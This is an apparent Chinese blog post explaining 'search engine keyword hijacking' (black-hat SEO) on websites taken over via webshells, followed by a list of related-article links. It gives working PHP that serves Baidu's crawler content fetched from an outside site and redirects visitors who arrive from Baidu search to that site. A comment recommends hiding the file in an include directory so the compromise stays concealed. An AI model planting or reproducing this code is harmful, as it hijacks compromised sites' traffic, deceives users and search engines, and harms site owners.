搜索引擎关键词劫持之php篇(源码与分析)
摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...
其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:
if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}
所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。
<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.yunsec.net/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('http://www.yunsec.net/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: http://www.yunsec.net/");//跳转
exit;
}
?>
搜索引擎关键词劫持之php篇(源码与分析)的更多相关文章
- 搜索引擎关键词劫持之asp篇
摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽S ...
- 搜索引擎关键词劫持之.net篇
摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax. 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=tex ...
- 通过解读 WPF 触摸源码,分析 WPF 插拔设备触摸失效的问题(问题篇)
在 .NET Framework 4.7 以前,WPF 程序的触摸处理是基于操作系统组件但又自成一套的,这其实也为其各种各样的触摸失效问题埋下了伏笔.再加上它出现得比较早,触摸失效问题也变得更加难以解 ...
- JDK(十)JDK1.7&1.8源码对比分析【集合】ConcurrentHashMap
前言 在JDK1.7&1.8源码对比分析[集合]HashMap中我们对比分析了JDK1.7和1.8版本的HashMap源码,趁热打铁,这篇文章就来看看JDK1.7和1.8版本的Concurre ...
- MapReduce的ReduceTask任务的运行源码级分析
MapReduce的MapTask任务的运行源码级分析 这篇文章好不容易恢复了...谢天谢地...这篇文章讲了MapTask的执行流程.咱们这一节讲解ReduceTask的执行流程.ReduceTas ...
- MapReduce的MapTask任务的运行源码级分析
TaskTracker任务初始化及启动task源码级分析 这篇文章中分析了任务的启动,每个task都会使用一个进程占用一个JVM来执行,org.apache.hadoop.mapred.Child方法 ...
- MongoDB源码分析——mongod程序源码入口分析
Edit 说明:第一次写笔记,之前都是看别人写的,觉得很简单,开始写了之后才发现真的很难,不知道该怎么分析,这篇文章也参考了很多前辈对MongoDB源码的分析,也有一些自己的理解,后续将会继续分析其他 ...
- FFmpeg的HEVC解码器源码简单分析:解析器(Parser)部分
===================================================== HEVC源码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpeg ...
- LinkedHashMap 源码详细分析(JDK1.8)
1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...
随机推荐
- iOS开发--Swift 基于MVC设计模式的简单的tableViewDemo
如果说MVC是最好的设计模式, 可能很多人并不赞同, 但是如果说MVC是最主流, 应用面最广的设计模式, 我想这是毫无争议的. 不说废话, 直接演示在Swift中如何使用MVC新建工程(我并没有新建文 ...
- 【读书笔记】iOS网络-Cookie
Cookie是HTTP协议在首个版本之后加入的一个重要组件.它向服务器提供了追踪会话状态的能力,同时又无须维持客户端与服务器之间的连接.在浏览器客户端,Cookie值是由服务器通过请求提供的,,然后被 ...
- php示例代码之 使用PHP的MySQL标准函数
<?php //连接参数 $host="localhost"; $user="root"; $pwd="111111"; $db=&q ...
- [Linux 性能检测工具]TOP
TOP NAME 显示linux任务 语法 top -hv | -abcHimMsS -d delay -n iterations -p pid [, pid ...] 描述 top程序提供了系统实时 ...
- Sql Server之旅——第三站 解惑那些背了多年聚集索引的人
说到聚集索引,我想每个码农都明白,但是也有很多像我这样的猥程序员,只能用死记硬背来解决这个问题,什么表中只能建一个聚集索引, 然后又扯到了目录查找来帮助读者记忆....问题就在这里,我们不是学文科,, ...
- 【mysql】关于乐观锁
一.乐观锁介绍 乐观锁( Optimistic Locking ) 相对悲观锁而言,乐观锁假设认为数据一般情况下不会造成冲突,所以在数据进行提交更新的时候,才会正式对数据的冲突与否进行检,乐观锁适用于 ...
- IntelliJ IDEA14.1中java项目Maven中没有配置JDK时的问题
在IntelliJ IDEA 14.1中使用在java项目中使用Maven时当没有在Maven中配置JDK编译版本.源码版本时,IDEA将默认的编译版本.源码版本设置为jdk5. 在IDEA中Lang ...
- ES6块级作用域及新变量声明(let)
很多语言中都有块级作用域,但JS没有,它使用var声明变量,以function来划分作用域,大括号“{}” 却限定不了var的作用域.用var声明的变量具有变量提升(declaration hoist ...
- 使用Tcmalloc进行堆栈分析
在前一篇译文<使用TCmalloc的堆栈检查>,介绍了Tcmalloc进行堆栈检查,今天翻译<heap-profiling using tcmalloc>,了解如何 TCmal ...
- ASP.NET Web API 安全筛选器
原文:https://msdn.microsoft.com/zh-cn/magazine/dn781361.aspx 身份验证和授权是应用程序安全的基础.身份验证通过验证提供的凭据来确定用户身份,而授 ...